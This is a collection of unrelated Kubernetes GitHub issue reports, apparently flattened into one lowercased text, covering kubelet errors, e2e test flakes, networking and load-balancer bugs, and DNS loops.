ip-192-168-3-40.us-west-1.compute.internal\ : nodes \ ip-192-168-3-40.us-west-1.compute.internal\  not found\r aug 06 07:38:20 ip-192-168-3-40 sh 3408 : e0806 07:38:20.565793    3408 kubelet_node_status.go:326  error updating node status, will retry: error getting node \ ip-192-168-3-40.us-west-1.compute.internal\ : nodes \ ip-192-168-3-40.us-west-1.compute.internal\  not found\r aug 06 07:38:20 ip-192-168-3-40 sh 3408 : e0806 07:38:20.565809    3408 kubelet_node_status.go:318  unable to update node status: update node status exceeds retry count\r aug 06 07:38:21 ip-192-168-3-40 sh 3408 : e0806 07:38:21.110548    3408 eviction_manager.go:214  eviction manager: unexpected err: failed getnode: node 'ip-192-168-3-40.us-west-1.compute.internal' not found\r    \r in order to fix it i need to restart kubelet daemon manually. \r at the beginning i thought that the issue is with  autosclaer  https://github.com/kubernetes/autoscaler/issues/197  after some investigation i found out it's related to kubelet.\r \r please assist.\r \r  /area kubelet

failure cluster  9ad2299367357dd09133  https://go.k8s.io/triage 9ad2299367357dd09133        error text:     error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --minstartuppods=8 --report-dir=/workspace/_artifacts --disable-log-dump=true: exit status 1           failure cluster statistics: 1 tests failed,    54 jobs failed,    375 builds failed. failure stats cover 1 day time range '7 sep 2017 10:43 utc' to '8 sep 2017 10:43 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | test | 54 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-ip-alias | 44 |  8 sep 2017 09:42 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ip-alias/5896  | | ci-kubernetes-e2e-gke | 19 |  8 sep 2017 09:45 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke/14198  | | ci-kubernetes-e2e-gke-canary | 18 |  8 sep 2017 09:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-canary/2017  |   current status  https://go.k8s.io/triage 9ad2299367357dd09133

\r  \r   what happened  :\r - it would seem occasionally backend containers are scheduled on same port across hosts causing issues with services / load balancers routing to the wrong container.\r - i deployed a kube service that used annotations for aws lb, and noticed that a node that does not run my app was being routed to, and showed up as \ inservice\ , which is wrong.  it turns out both nodes were listening on the same port.\r \r   what you expected to happen  :\r \r i expect ports containers come up on be chosen in a way so they do not conflict across nodes of a cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just continually deploy, and eventually you will get scheduling on same ports.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $  kubectl version \r kops versionclient version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t19:12:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.4\ , gitcommit:\ 9befc2b8928a9426501d3bf62f72849d5cbcd5a3\ , gittreestate:\ clean\ , builddate:\ 2017-11-20t05:17:43z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r $  kops version \r version 1.8.0-alpha.1  git-d87166f \r    \r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release :\r ubuntu 16.04 ami\r \r \r

is this a bug report or feature request?  :\r   \r   what happened  :\r according to the definition of  \ externalname\  type service  https://kubernetes.io/docs/concepts/services-networking/service/ without-selectors , it should not have selectors. but currently in k8s, users are able to create an \ externalname\  type service with selectors, which is confusing as the selectors in fact have no effect  no endpoint will be created .\r \r it would be clearer to users if we reject creating an \ externalname\  type service with selectors.\r \r   how to reproduce it  as minimally and precisely as possible   :\r try this yaml:\r    yaml\r apiversion: v1\r kind: service\r metadata:\r   name: test-cname\r spec:\r   selector:\r     app: my-app\r   type: externalname\r   externalname: www.example.com\r    \r

if everyone else is running a cluster with kubeadm on virtual machine i think  this  https://medium.com/@joatmon08/playing-with-kubeadm-in-vagrant-machines-part-2-bac431095706  lectures is a must have because i have spend same days to solve this error: \r  error: unable to upgrade connection: pod does not exist \r or this\r  kubectl logs\r  error from server  notfound : the server could not find the requested resource \r and i haven't find samethink about it on the kubernetes guide or on the kubeadm issue traker.\r if you are running same virtualmachine you had to do on the master add this at the kubeadm init:\r  --apiserver-advertise-address=<ip-address> \r and on the other nodes in the config file:  /etc/systemd/system/kubelet.service.d/10-kubeadm.conf \r you had to add this other ambient variables:\r  environment=\ kubelet_extra_args=--node-ip=<worker ip address>\  \r so restart the kubelet services and that had permit ot me to connect to pod schedule on other nodes that are virtual machine and are not exposed to the internet but are linked to the real machine where they are running.\r this is a little tips from my experience working with kubernetes\r \r  @kubernetes/sig-contributor-experience-bugs

is this a bug report or feature request?  :\r  \r   anything else we need to know?  :\r  \r refactoring e2e test for csi drivers are done in below commit.\r this is to apply similar change in existing non-csi drivers.\r \r https://github.com/kubernetes/kubernetes/commit/4d11dab272fc358c918a1a6b83db8f938535cdb0 diff-0d9ecaa3e6a0297186ad33f57aad472e\r \r scopes for this refactoring are below three files:\r   - test/e2e/storage/volumes.go\r   - test/e2e/storage/volume_io.go\r   - test/e2e/storage/persistent_volumes-volumemode.go\r \r   environment  : k8s v1.12\r \r \r

relevant code  here  https://github.com/googlecloudplatform/kubernetes/blob/629d94657e539407d4b4d8b674c029c182e2147b/pkg/kubelet/kubelet.go l1992   the  api  https://github.com/googlecloudplatform/kubernetes/blob/629d94657e539407d4b4d8b674c029c182e2147b/pkg/api/v1beta3/types.go l765  does not indicate that the hostip field is optional.

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r if hosts  /etc/resolv.conf  points to a local dns server, or if it contains the cluster's dns server  to enable looking up services from host , it'll cause dns loop which can effectively disable kube-dns or make it very slow. \r \r   what you expected to happen  :\r at least, kube-dns should detect localhost or cluster dns server entries in resolv.conf and not send queries to them.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use a system with local cashing dns server, or add cluster's dns server address to hosts resolv.conf.\r \r   anything else we need to know?  :\r according to  dnsmasq  documentation, adding  --dns-loop-detect  should make dnsmasq detect that and disable the upstream dns server which cause the loop. it should prevent dns from becoming unresponsive in the first case  a better solution is to extract real upstream servers, which probably cannot be done for every configuration ; and for the second case it should skip sending queries to itself and send to real upstream servers.\r

in 1.12 we added support for  dryrun  query parameter in apiserver post/put/patch/delete handlers https://github.com/kubernetes/kubernetes/pull/65105. however our  openapi spec  https://github.com/kubernetes/kubernetes/blob/master/api/openapi-spec/swagger.json  wasn't properly updated to reflect the parameter in post/put/patch operations. \r \r the openapi-generated clients  python, java, etc.  will be unaware of the parameter. we may want to cherrypick the spec fix to 1.12, to make the clients support dry-run.\r \r cc @apelisse @mbohlool \r 

what happened  :\r pods are being scheduled with duplicate ips \r \r   what you expected to happen  :\r unique ip per pods\r \r   how to reproduce it  as minimally and precisely as possible   :\r no clue, it seems to happen randomly. i only noticed it when my errors rate went up, and one of my nginx ingress  daemonset  wasn't reachable because of the ip conflict.\r \r most of the ip conflict remaining are bad but it seems like the cluster is still humming\r \r    \r kube-system     ip-masq-agent-wsqn5                                         1/1       running     0          15h       172.20.1.10    gke-plr-web-prd-05-web-00-531bb1cd-2djt         <none>\r kube-system     kube-proxy-gke-plr-web-prd-05-web-00-531bb1cd-2djt          1/1       running     0          15h       172.20.1.10    gke-plr-web-prd-05-web-00-531bb1cd-2djt         <none>\r monitoring      node-exporter-mz76k                                         1/1       running     0          15h       172.20.1.10    gke-plr-web-prd-05-web-00-531bb1cd-2djt         <none>\r    \r \r   anything else we need to know?  :\r i created a gke cluster with a custom pod address range and vpc-native on. it looks like a race condition thing because it seems to only happen to daemonsets and system pods, and the conflict is all on the same node, and the pod all have the same age\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.2-gke.18\ , gitcommit:\ 5796233393d7bc034428de15191ad3d2eaff95fb\ , gittreestate:\ clean\ , builddate:\ 2018-11-08t20:49:08z\ , goversion:\ go1.10.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration:\r \r gke\r \r    \r     master version => 1.11.2-gke.18    \r     endpoint => <redacted>\r     client certificate\t=> enabled\r     binary authorization\t=> disabled\r     kubernetes alpha features\t => disabled\r     current total size  => 33\r     master zone\t=> us-west1-a\r     node zones\t=> us-west1-a\r     network\t => <redacted>\r     subnet\t=> <redacted>\r     vpc-native  alias ip \t=> enabled\r     pod address range\t=> 172.30.0.0/17\r     default maximum pods per node\t=> 110\r     service address range\t=> 172.30.128.0/17\r     stackdriver logging\t => enabled\r     stackdriver monitoring\t=> enabled\r     private cluster\t=> disabled\r     master authorized networks\t=> disabled\r     network policy\t=> disabled\r     legacy authorization\t=> disabled\r     maintenance window\t=> 3:00 pm\r     cloud tpu\t=> disabled\r     node auto-provisioning\t=> disabled\r    \r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

if a pod is never created  think quota rejection , then commands that end up in  getfirstpod  loop forever waiting for a pod that is never coming.  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/util/factory.go l534  @kubernetes/kubectl

i have a multi-zone cluster on gke, and i'm having a problem with the load balancer being sticky on pod selection.   i have an ingress setup, serving traffic to a kong deployment. it's managing my apis, and sends requests to other deployments on my cluster using the internal load balancer  service.namespace.svc.cluster.local .  one of my deployments' functions is to handle a post request by parsing it into 5 smaller batches and sending each of those to another deployment using the internal load balancer  service.namespace.svc.cluster.local . what i want, and the behavior i expected, is for different pods in that second deployment to serve those requests. instead, via the logs, i've figured out that one pod is serving all 5 of the requests. i don't have any session affinity settings in my service files, so those should be set to none. i'm using the default kube-proxy setup through gke.  how can i get multiple pods to serve those 5 requests, instead of 1?

following  the documentation  http://kubernetes.io/docs/admin/federation/ . with a vanilla kubernetes install,  federation-up.sh  throws an error.:      fatal: tagfile /home/icoloma/code/kubernetes/cluster/../cluster/gke/../../cluster/../cluster/../federation/manifests/federated-image.tag does not exist. make sure that you have run build/push-federation-images.sh       push-federation-images.sh  works fine, but the error is still there.    kubernetes version  : 1.3.3   environment  :  -   cloud provider or hardware configuration  : gke -   os  : 14.04.5 in my local laptop -   kernel  : linux icoloma 4.2.0-42-generic  49~14.04.1-ubuntu smp wed jun 29 20:22:11 utc 2016 x86_64 x86_64 x86_64 gnu/linux

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-etcd3/2256/  failed:  k8s.io  deployment scaled rollout deployment should not block on annotation check {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:95 expected error:     < errors.errorstring | 0xc420bb7fa0>: {         s: \ observed 0 available replicas, less than min required 8\ ,     }     observed 0 available replicas, less than min required 8 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:1083       previous issues for this test:  30100  31810  34331  34717  34816  35337

a deployment with kube-up.sh can not be completed with following error:\r    \r kube-proxy     100%   69mb   69.0mb/s   00:01    \r flanneld.conf  100%    579      0.6kb/s     00:00    \r flanneld       100%   2121     2.1kb/s     00:00    \r failed to start flanneld.service: unit flanneld.service not found.\r connection to k8-1 closed.\r deploying node on machine k8-1 failed\r    \r any ideas where to dig, because there i can not find any debug or logging to figure out a cause of issue

forked from  35935.\r \r the failure happened again in ci-kubernetes-node-kubelet-cri: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-cri/143.\r \r    \r i1122 13:41:26.754  \u001b 32mâ€¢  slow test:34.235 seconds \u001b 0m\r i1122 13:41:26.754   k8s.io  docker containers\r i1122 13:41:26.754  \u001b 90m/var/lib/jenkins/workspace/ci-kubernetes-node-kubelet-cri/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:826\u001b 0m\r i1122 13:41:26.754    should be able to override the image's default arguments  docker cmd   conformance \r i1122 13:41:26.755    \u001b 90m/var/lib/jenkins/workspace/ci-kubernetes-node-kubelet-cri/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/docker_containers.go:43\u001b 0m\r i1122 13:41:26.755  \u001b 90m------------------------------\u001b 0m\r i1122 13:41:26.755  write failed: broken pipe\r i1122 13:41:26.755  \r i1122 13:41:26.755  failure finished test suite on host tmp-node-e2e-a1b82a34-gci-dev-56-8977-0-0\r i1122 13:41:26.755   command  ssh -i /home/jenkins/.ssh/google_compute_engine -o userknownhostsfile=/dev/null -o identitiesonly=yes -o checkhostip=no -o stricthostkeychecking=no -o serveraliveinterval=30 -o loglevel=error 130.211.224.27 -- sudo sh -c 'cd /tmp/node-e2e-20161122t133345 && timeout -k 30s 3600.000000s ./ginkgo --nodes=8 --skip=\ \\ flaky\\ |\\ serial\\ \  ./e2e_node.test -- --logtostderr --v 4 --node-name=tmp-node-e2e-a1b82a34-gci-dev-56-8977-0-0 --report-dir=/tmp/node-e2e-20161122t133345/results --report-prefix=gci-family-gci-dev-56-8977-0-0 --kubelet-flags=--experimental-mounter-path=/tmp/node-e2e-20161122t133345/cluster/gce/gci/mounter/mounter --feature-gates=streamingproxyredirects=true --kubelet-flags=\ --experimental-cri=true\ '  failed with error: exit status 255, command  scp -i /home/jenkins/.ssh/google_compute_engine -o userknownhostsfile=/dev/null -o identitiesonly=yes -o checkhostip=no -o stricthostkeychecking=no -o serveraliveinterval=30 -o loglevel=error -r 130.211.224.27:/tmp/node-e2e-20161122t133345/results/ .log /var/lib/jenkins/workspace/ci-kubernetes-node-kubelet-cri/go/src/k8s.io/kubernetes/_artifacts/tmp-node-e2e-a1b82a34-gci-dev-56-8977-0-0  failed with error: exit status 1 \r    \r \r the log collecting command failed because of:\r    \r w1122 13:41:26.108  i1122 13:41:26.107827   27564 remote.go:315  failed to run journactl  normal if it doesn't exist on the node : command  ssh -i /home/jenkins/.ssh/google_compute_engine -o userknownhostsfile=/dev/null -o identitiesonly=yes -o checkhostip=no -o stricthostkeychecking=no -o serveraliveinterval=30 -o loglevel=error 130.211.224.27 -- sudo sh -c 'journalctl --system --all > /tmp/node-e2e-20161122t133345/system.log'  failed with error: exit status 2, output: \ sh: cannot create /tmp/node-e2e-20161122t133345/system.log: directory nonexistent\ \ \r    \r \r the directory  /tmp/node-e2e-20161122t133345  should not be removed, unless the node is rebooted. this also aligns with our previous observation.\r \r another problem is that we should not collect log into the \ workspace\ , which will be removed after node reboot.  introduced by https://github.com/kubernetes/kubernetes/commit/d9ddd64c9cac6ef4528d3cd4d240645fc9698d23  this needs to be fixed.\r \r this is not release blocker because this happened only once in recent 5 days. however, we should keep an eye on this failure.\r \r \r @dchen1107 @jingxu97 \r /cc @kubernetes/sig-node

the test is completely broken now, for example:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-serial/759\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:421\r mar  7 10:28:09.364: error restarting apiserver: couldn't restart apiserver: <nil>\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:401\r    \r

the kubectl skew tests for master->1.6 and 1.6->master are flaking because  ginkgo_parallel=y  and the  ginkgo.focus  is set to just  kubectl . this is a problem because there is a test for taints that is called  \ kubectl taint  serial \   that is meant to be run serially and not in parallel, but the current settings don't allow for that. as a result, while some tests are creating pods, the taint test is setting  noexecute  on the node, and the taint manager kicks out any pods it sees, causing the other tests to fail. the test in question in  here  https://github.com/kubernetes/kubernetes/blob/6cc40678b6988124940f76b780657bfc46e14a7a/test/e2e/kubectl.go l1412  and it was moved to be a   serial   test in https://github.com/kubernetes/kubernetes/pull/42167.\r \r cc @calebamiles @ethernetdan @fejta @marun @smarterclayton @davidopp

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r \r   what happened  :\r my local cluster apiserver and scheduler cpu and mem utilization percentage too large\r   what you expected to happen  :\r these 2 component cpu and mem utilization not so high\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r    \r root@szx1000353068:/mnt/go/src/k8s.io/ingress/controllers/nginx/pkg/cmd/controller  top\r top - 14:50:24 up 2 days, 21 min,  3 users,  load average: 2.27, 2.36, 2.48\r tasks: 433 total,   1 running, 432 sleeping,   0 stopped,   0 zombie\r %cpu s : 34.4 us,  0.7 sy,  0.0 ni, 64.8 id,  0.1 wa,  0.0 hi,  0.0 si,  0.0 st\r kib mem:  16411812 total, 12149196 used,  4262616 free,  1273808 buffers\r kib swap:  4446204 total,        0 used,  4446204 free.  7781332 cached mem\r \r    pid user      pr  ni    virt    res    shr s  %cpu %mem     time+ command                                                                                                                \r   4287 root      20   0 2264432 1.054g  41384 s 156.5  6.7   2477:49 /mnt/go/src/k8s.io/kubernetes/_output/local/bin/linux/amd64/hyperkube apiserver --authorization-mode=node,rbac --allow+\r   4529 root      20   0 1586556 623504  32160 s 117.7  3.8   1955:10 /mnt/go/src/k8s.io/kubernetes/_output/local/bin/linux/amd64/hyperkube scheduler --v=3 --kubeconfig /var/run/kubernetes+\r  60738 root      20   0 1093628  92756  37036 s   2.3  0.6  39:50.51 /mnt/go/src/k8s.io/kubernetes/_output/local/bin/linux/amd64/hyperkube kubelet --allow-privileged --v=3 --vmodule= --ch+\r  31094 root      20   0 1121520  85904  34560 s   1.3  0.5  45:53.28 /mnt/go/src/k8s.io/kubernetes/_output/local/bin/linux/amd64/hyperkube controller-manager --v=3 --vmodule= --service-ac+\r   4074 root      20   0 10.161g  65192  10200 s   0.7  0.4  19:45.07 etcd --advertise-client-urls http://127.0.0.1:2379 --data-dir /tmp/tmp.psteackhja --listen-client-urls http://127.0.0.+\r    \r \r  pprof cpu  https://gist.github.com/hzxuzhonghu/df35faf60cf53f7a9c635ddf002c9b60 \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

  \r   what happened  :\r 1. have a  v1.service type: loadbalancer  on aws stack\r 2. this creates an aws elb with tags  kubernetes.io/service-name  and  kubernetescluster \r 3. manually remove those tags\r 4. update the service to  type: nodeport \r 5. the elb was removed, even though the tags were deleted\r \r   what you expected to happen  :\r since the elb tags were removed in  2 , i expected the load balancer to not be removed.\r \r   use-case  \r i was migrating the cluster to nlb. i assumed the old elb would not be removed and would serve requests until dns changes completely propagate. by changing the service to  nodeport , the elb was removed immediately and i can't get the same dns name again. if any application was unsystematically relying on the elb dns, it would break.\r \r i incorrectly assumed the tags would not be ignored, because thats how kops works:\r > if a resource is not tagged or has the shared tag then kops should leave the resource alone.\r > https://github.com/kubernetes/kops/issues/3965 issuecomment-350819959\r \r   anything else we need to know?  :\r the tag filtering was never implemented for this. one change was in   22788, which remove the empty filtering altogether.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.11, but seems to be an issue for current versions\r - cloud provider or hardware configuration: aws eu-central-1\r - install tools: kops 1.8.0

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r \r the kubelet plugin watcher has code that sets up a  fsnotify.watcher .\r \r   what you expected to happen  :\r \r i assume that  fsnotify.watcher  triggers a \ create\  or \ remove\  event, if a dir or file is created  anywhere  on the filesystem. if this is the case, i expect kubelet plugin watcher  handlecreateevent event fsnotify.event   to check if the discovered socket is in the same directory as  w.path . but it currently does not do that. it checks if the  event  is a socket file, if it is it initiates registration on it.\r \r it seems to me this will cause a socket created anywhere in the filesystem, not just the socket dir, to trigger  handlepluginregistration .\r \r this code should verify the path of the newly discovered socket is within  w.path .\r \r @renaudwastaken @vladimirvivien who understand this code better then i do. am i missing something?\r \r cc @msau42 \r \r   \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

we are using kubernte ingress as ingress controller\r \r we installed as per documentation \r https://kubernetes.github.io/ingress-nginx/deploy/ network-load-balancer-nlb\r \r   what happened  :\r \r on nlb side, health checks are failing. \r we tried to do simple curl with in node where the pod is created and we are getting 503 error message. \r \r    \r admin@ip-10-11-8-58:~$ curl 127.0.0.1:31079/healthz\r {\r \ service\ : {\r \ namespace\ : \ ingress-nginx\ ,\r \ name\ : \ ingress-nginx\ \r },\r \ localendpoints\ : 0\r }\r    \r same request is working with in the pod\r \r    \r www-data@nginx-ingress-controller-57548b96c8-qs6mf:/etc/nginx$ curl 127.0.0.1:10254/healthz\r ok\r www-data@nginx-ingress-controller-57548b96c8-qs6mf:/etc/nginx$\r    \r \r   what you expected to happen  :\r \r we should get 200 responce on this endpoint. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r logs:\r    \r rajeevs-macbook-pro:deploy rajeev$ klogs -f  nginx-ingress-controller-57548b96c8-qs6mf -n ingress-nginx\r w0305 08:02:17.088958       5 flags.go:213  ssl certificate chain completion is disabled  --enable-ssl-chain-completion=false \r -------------------------------------------------------------------------------\r nginx ingress controller\r   release:    0.23.0\r   build:      git-be1329b22\r   repository: https://github.com/kubernetes/ingress-nginx\r -------------------------------------------------------------------------------\r \r nginx version: nginx/1.15.9\r w0305 08:02:17.093922       5 client_config.go:549  neither --kubeconfig nor --master was specified.  using the inclusterconfig.  this might not work.\r i0305 08:02:17.094095       5 main.go:200  creating api client for https://100.64.0.1:443\r i0305 08:02:17.112146       5 main.go:244  running in kubernetes cluster version v1.10  v1.10.3  - git  clean  commit 2bba0127d85d5a46ab4b778548be28623b32d0b0 - platform linux/amd64\r i0305 08:02:17.452786       5 nginx.go:261  starting nginx ingress controller\r i0305 08:02:17.485271       5 event.go:221  event v1.objectreference{kind:\ configmap\ , namespace:\ ingress-nginx\ , name:\ nginx-configuration\ , uid:\ e1139b75-3f16-11e9-9a04-06e2b66fa74c\ , apiversion:\ v1\ , resourceversion:\ 32941656\ , fieldpath:\ \ } : type: 'normal' reason: 'create' configmap ingress-nginx/nginx-configuration\r i0305 08:02:17.488472       5 event.go:221  event v1.objectreference{kind:\ configmap\ , namespace:\ ingress-nginx\ , name:\ tcp-services\ , uid:\ e19ff132-3f16-11e9-9a04-06e2b66fa74c\ , apiversion:\ v1\ , resourceversion:\ 32941660\ , fieldpath:\ \ } : type: 'normal' reason: 'create' configmap ingress-nginx/tcp-services\r i0305 08:02:17.488607       5 event.go:221  event v1.objectreference{kind:\ configmap\ , namespace:\ ingress-nginx\ , name:\ udp-services\ , uid:\ e25c74fa-3f16-11e9-9a04-06e2b66fa74c\ , apiversion:\ v1\ , resourceversion:\ 32941662\ , fieldpath:\ \ } : type: 'normal' reason: 'create' configmap ingress-nginx/udp-services\r i0305 08:02:18.653488       5 nginx.go:282  starting nginx process\r i0305 08:02:18.653706       5 leaderelection.go:205  attempting to acquire leader lease  ingress-nginx/ingress-controller-leader-nginx...\r i0305 08:02:18.654133       5 controller.go:172  configuration changes detected, backend reload required.\r i0305 08:02:18.660154       5 status.go:148  new leader elected: nginx-ingress-controller-6cf486bc8f-4rpdm\r i0305 08:02:18.756459       5 controller.go:190  backend successfully reloaded.\r i0305 08:02:18.756618       5 controller.go:200  initial sync, sleeping for 1 second.\r  05/mar/2019:08:02:19 +0000 tcp200000.000\r i0305 08:03:16.074365       5 leaderelection.go:214  successfully acquired lease ingress-nginx/ingress-controller-leader-nginx\r i0305 08:03:16.074531       5 status.go:148  new leader elected: nginx-ingress-controller-57548b96c8-qs6mf\r \r    \r \r    \r rajeevs-macbook-pro:aws rajeev$ kd svc  ingress-nginx  -n ingress-nginx\r name:                     ingress-nginx\r namespace:                ingress-nginx\r labels:                   app.kubernetes.io/name=ingress-nginx\r                           app.kubernetes.io/part-of=ingress-nginx\r annotations:              kubectl.kubernetes.io/last-applied-configuration={\ apiversion\ :\ v1\ ,\ kind\ :\ service\ ,\ metadata\ :{\ annotations\ :{\ service.beta.kubernetes.io/aws-load-balancer-type\ :\ nlb\ },\ labels\ :{\ app.kubernetes.io/...\r                           service.beta.kubernetes.io/aws-load-balancer-type=nlb\r selector:                 app.kubernetes.io/name=ingress-nginx,app.kubernetes.io/part-of=ingress-nginx\r type:                     loadbalancer\r ip:                       100.64.64.75\r loadbalancer ingress:     a125e81aa3f1d11e998cf0a381c800bb-dd045046cb57caaa.elb.us-west-2.amazonaws.com\r port:                     http  80/tcp\r targetport:               http/tcp\r nodeport:                 http  32525/tcp\r endpoints:                100.103.21.39:80\r port:                     https  443/tcp\r targetport:               https/tcp\r nodeport:                 https  31237/tcp\r endpoints:                100.103.21.39:443\r session affinity:         none\r external traffic policy:  local\r healthcheck nodeport:     31079\r events:\r   type     reason                      age              from                message\r   ----     ------                      ----             ----                -------\r   warning  creatingloadbalancerfailed  7m               service-controller  error creating load balancer  will retry : failed to ensure load balancer for service ingress-nginx/ingress-nginx: error adding tags after creating load balancer: \ validationerror: only one resource can be tagged at a time\ \\tstatus code: 400, request id: 134b15f7-3f1d-11e9-82b8-ef0eef5a6ef3\ \r   normal   ensuringloadbalancer        7m  x2 over 7m   service-controller  ensuring load balancer\r   normal   ensuredloadbalancer         7m               service-controller  ensured load balancer\r    \r \r   environment  :\r    \r admin@ip-10-11-1-172:~$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r admin@ip-10-11-1-172:~$\r    \r \r \r - cloud provider or hardware configuration:\r    \r admin@ip-10-11-1-172:~$ aws --version\r aws-cli/1.14.53 python/2.7.9 linux/4.4.121-k8s botocore/1.9.6\r admin@ip-10-11-1-172:~$\r    \r - os  e.g:  cat /etc/os-release  :\r    \r admin@ip-10-11-1-172:~$ cat /etc/os-release\r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r admin@ip-10-11-1-172:~$\r    \r - kernel  e.g.  uname -a  :\r    \r admin@ip-10-11-1-172:~$ sudo uname -a\r linux ip-10-11-1-172 4.4.121-k8s  1 smp sun mar 11 19:39:47 utc 2018 x86_64 gnu/linux\r admin@ip-10-11-1-172:~$\r    \r

what happened  :\r the status of a poddisruptionbudget is shown as\r    \r status:\r     allowed disruptions:  0\r     current:              0\r     desired:              0\r     total:                0\r     \r  all 0 \r under the following circumstances:\r the pdb uses a label that matches a replicaset and two single pods  without controller . both pods are completed  e.g. not ready  and the disruption limit is set to 2. as soon as i delete the completed pods, the status is shown as expected.\r \r   what you expected to happen  :\r the pdb should show the correct status.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r described above.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.4\r - cloud provider or hardware configuration: on-prem\r - os  e.g:  cat /etc/os-release  : container linux 1967.4.0\r - kernel  e.g.  uname -a  : 4.14.96-coreos\r - install tools: vanilla k8s\r

the docs are not particularly applicable      1847 type nodestatus struct { 1848     // capacity represents the available resources of a node. 1849     // more info: http://releases.k8s.io/head/docs/user-guide/persistent-volumes.md capacity for more details. 1850     capacity resourcelist  json:\ capacity,omitempty\

when a test fails unit/integration, i see this:  ! image  https://cloud.githubusercontent.com/assets/8105590/13188094/2b59b2e2-d704-11e5-89ca-0d220e46c7aa.png   then i have to 1. click on details,  2. wait for gcs browser to load 3. remember to click on \ artifacts\  if that dir is present, or build-log.txt if not. 4. if \ artifacts\ , open each xml file and find the one that has a failure and what test failed.  please can it take fewer steps to figure out what test failed.  maybe the name of the first failing test inline in the github box?

and should be managed as an addon in salt or should be managed outside of salt  cc @kubernetes/goog-cluster @thockin

